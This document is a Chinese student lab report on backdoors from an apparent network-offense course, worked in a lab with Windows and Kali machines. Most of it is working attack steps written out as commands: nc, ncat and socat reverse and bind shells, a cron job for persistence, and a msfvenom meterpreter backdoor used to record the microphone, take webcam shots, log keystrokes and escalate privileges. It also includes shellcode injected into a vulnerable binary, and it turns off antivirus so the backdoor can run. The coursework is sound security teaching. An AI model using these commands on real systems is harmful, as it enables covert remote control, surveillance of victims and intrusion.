2019-2020-2 20175225 张元瑞 网络对抗技术 Exp2 后门原理与实践
一、实验目标
- 清楚后门概念
- 会用nc获取远程主机的Shell
- 会用meterpreter
- 会启动后门
二、实验内容
- 使用netcat获取主机操作Shell,cron启动;
- 使用socat获取主机操作Shell, 任务计划启动;
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
- 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
三、基础问题回答
例举你能想到的一个后门进入到你系统中的可能方式?
- 下载某个软件或者误点链接时后门可能进入系统
例举你知道的后门如何启动起来(win及linux)的方式?
- Windows中在开机的时候自启动或者用户执行带后门的文件的时候启动
- Linux中可以通过cron启动
Meterpreter有哪些给你映像深刻的功能?
- 除了本次实验中完成的通过后门控制被控主机的shell,调用麦克风、摄像头、键盘、读取屏幕,还有从被控主机上对相关文件的下载和上传。
如何发现自己有系统有没有被安装后门?
- 通过杀毒软件检测系统有无异常
- 查看系统的自启动项,注册表有无异常
- 通过
nestat -na
查看是否有异常开放的端口
四、基本工具熟悉
1.ncat
- 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
准备
- 通过命令查看windows主机及kail机的ip,同时检查两者是否互ping通过
- 在老师提供的附件中下载
ncat.rar
windows(ipconfig):192.168.80.1
kail(ifconfig):192.168.80.132
(1)Win获得Linux Shell
- windows 打开监听
E:大三下网络对抗技术第二次实验 cat>ncat.exe -l -p 5225
- Linux反弹连接
nc 192.168.80.1 5225 -e /bin/sh
- 进入主机,通过命令
ls/
或其他,验证运行kail的shell
(2)Linux获得Win Shell
- Linux运行监听指令
nc -l -p 5225
- Windows反弹连接Linux
ncat.exe -e cmd.exe 192.168.80.132 5225
(2)nc传输数据
- 直接传输文字:主机下建立监听端口5225
ncat.exe -l 5225
,kail下建立连接至主机端口nc 192.168.80.1 5225
,建立成功后可进行文字传输
- 传输文件
- Windows下建立端口同时定义接收地址
ncat.exe -l 5225 > file.in
- kail下创建测试文件
file.out
- 连接至主机进行文件输送
nc 192.168.80.1 5225 < file.out
- Windows下建立端口同时定义接收地址
2.Socat
- 又称Netcat++,超级netcat工具,是nc的加强版
- 任何代理、转发等功能都可以用该工具实现
- 使用方法与nc类似
3.Meterpreter(使用msfvenom生成后门可执行文件)
- 后门是一个程序
- 有人建立一个平台,详细说明了后门的
- 基本功能(基本的连接、执行指令),
- 扩展功能(如搜集用户信息、安装服务等功能),
- 编码模式,
- 运行平台,
- 以及运行参数
4.corn
- Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以
man cron
五、实验任务
任务一:使用netcat获取主机操作Shell,cron启动
1.思路
- 在windows里监听
- 在Linux里利用corn设置定时启动反弹指令
2.实验步骤 - 在Win主机监听5225端口
- 在Kali中,用
crontab -e
指令编辑一条定时任务,以定时可反弹至主机端口,进入后编辑器选择3
即为vim
编辑器 crontab -l
可查看编辑情况- 增加命令为
20 * * * * /bin/netcat 192.168.80.1 5225 -e /bin/sh
即为每个小时的第20分钟时执行后方命令(数字填写以自己做实验的时间来定)
- 当时间到后进行测试,此时可以看出未到时间时,是无法执行获取kail shell的
任务二、使用socat获取主机操作Shell, 任务计划启动
- 在Windows系统下,打开
控制面板->系统和安全->管理工具
找到任务计划程序开始创建任务
- 点击
触发器
选项卡,选择新建
,然后将开始任务设置为工作站锁定时
- 点击
常规
选项卡,输入名称,在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5225 exec:cmd.exe,pty,stderr
(两个参数之间用空格或者;),这个命令的作用是把cmd.exe绑定到端口5225,同时把cmd.exe
的stderr
重定向到stdout
上:
- 创建完成之后,
windows+L
锁定计算机让任务开始执行。然后在Kali环境下输入指令socat - tcp:192.168.80.1:5225
这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5225
端口,此时可以发现已经成功获得了一个cmd shell
任务三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
- 在kali中输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.132 LPORT=5225 -f exe > 20175225_backdoor.exe
此时因为在控制端生成后门,所以此ip为kail的ip地址
- 同准备阶段:将生成的后门程序传输到主机
- 在主机下执行
ncat.exe -l 5225 > 201725225_backdoor.exe
- 在kali中通过
nc 192.168.80.1 5225 < 20175225_backdoor.exe
将生成的后门程序传送到主机上
- 回到控制端,通过命令
msfconsole
进入控制台
- 调用监听模块,设置与生成后门时相同的payload,同时设置返回的ip和端口号
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.80.132
set LPORT 5225
- 设置完成,执行监听
exploit
- 回到主机点击打开传输过去的后门程序,可以观察到kail取得链接,并可以远程控制主机shell
任务四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
- 保持任务三,之后进行任务四操作
- 使用
record_mic
指令截获一段音频
- 使用
webcam_snap/webcam stream
指令可以使用摄像头进行拍照/摄影
- 使用
screenshot
指令可以进行截屏
- 在kali中使用
keyscan_start
指令开始,在windows中记录下击键的过程,使用keyscan_dump
指令读取击键的记录
- 先使用
getuid
指令查看当前用户,使用getsystem
指令进行提权(提权操作可在别的win7虚拟机下进行)
任务五、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
使用msf生成shellcode
- 首先生成shellcode:Payload是是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码。与任务三不同在linux中有效载荷不同linux中的有效载荷为
linux/x86/meterpreter/reverse_tcp
可通过命令msfvenom -l payload
- 通过命令生成后门程序
msfvenom -p linux/x86/meterpreter/reverse_tcp -x pwn1.bak LHOST=192.168.80.132 LPORT=5225 -f elf > pwn1_exp2
- 在另一个终端中启动mfs控制台(和任务三中过程相同),此时的playload为
linux/x86/shell/reverse_tcp
。
kali输入msfconsole
进入msf控制台,后输入:
use exploit/multi/handler
进入监听模块,设置payloadset payload linux/x86/shell/reverse_tcp
,使用与生成后门程序时相同的payloadset LHOST 192.168.80.132
,set LPORT 5225
使用5225端口,exploit设置完成,开始监听;
从网站上下载shellcode
- 在shellcode网站中下载一个linux/x86平台的shellcode,用于反弹连接
将里面的机器码复制出来
x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80
- 注入前的准备工作(同实验一)
- 通过gdb调试寻找shellcode的起始地址
初始input_shellcode:
perl -e 'print "A" x 32;print"x04x03x02x01x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode
gdb调试
- 通过gdb调试找到shellcode的返回地址
0xffffd290
,然后复制出下载的文件中的shellcode机器码,将返回地址添加到最前面,同时生成用于注入的input_shellcode
文件,具体代码如下:
perl -e 'print "A" x 32;print"x90xd2xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode
- 在新终端b中启动
msfconsole
,执行和任务3中同样的指令打开监听
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444 ##在下载的图中有标注相应的IP地址和端口号
show options
exploit
- 在终端a中通过管道符对
input_shellcode
进行注入,执行(cat input_shellcode;cat) | ./pwn1
,可以看到能够成功运行
六、实验总结
实验中遇到的问题
- 问题1:在进行任务四录音的时候,输入指令,出现如图错误。
-
解决方案:经查询发现是因为麦克风权限被关了,导致无法访问麦克风,从而出现了如图的提示,打开麦克风权限就可以正常录制了。
-
问题2:在做任务3时,msfconsole中出现如图情况
- 解决方案:经多方探寻发现是因为电脑杀毒软件把后门程序当做病毒杀死了,从而导致程序无法运行,把杀毒软件关闭再将后门程序传到主机就可以了。
实验总结
本次实验学习到了后门的基本原理,掌握了后门的生成过程和注入方式,对一些常用的后门程序和命令有了比较基础的掌握。
本次实验中遇到了很多问题,有些是自己粗心导致的,有些是自己所没有接触到的,在网上查找资料和询问同学以后还是得到了解决,尽快花费了很多时间,但还是有很大的收获。本次实验也让我意识到后门功能的强大性和危害性,因此我们对后门的防范也是非常重要的。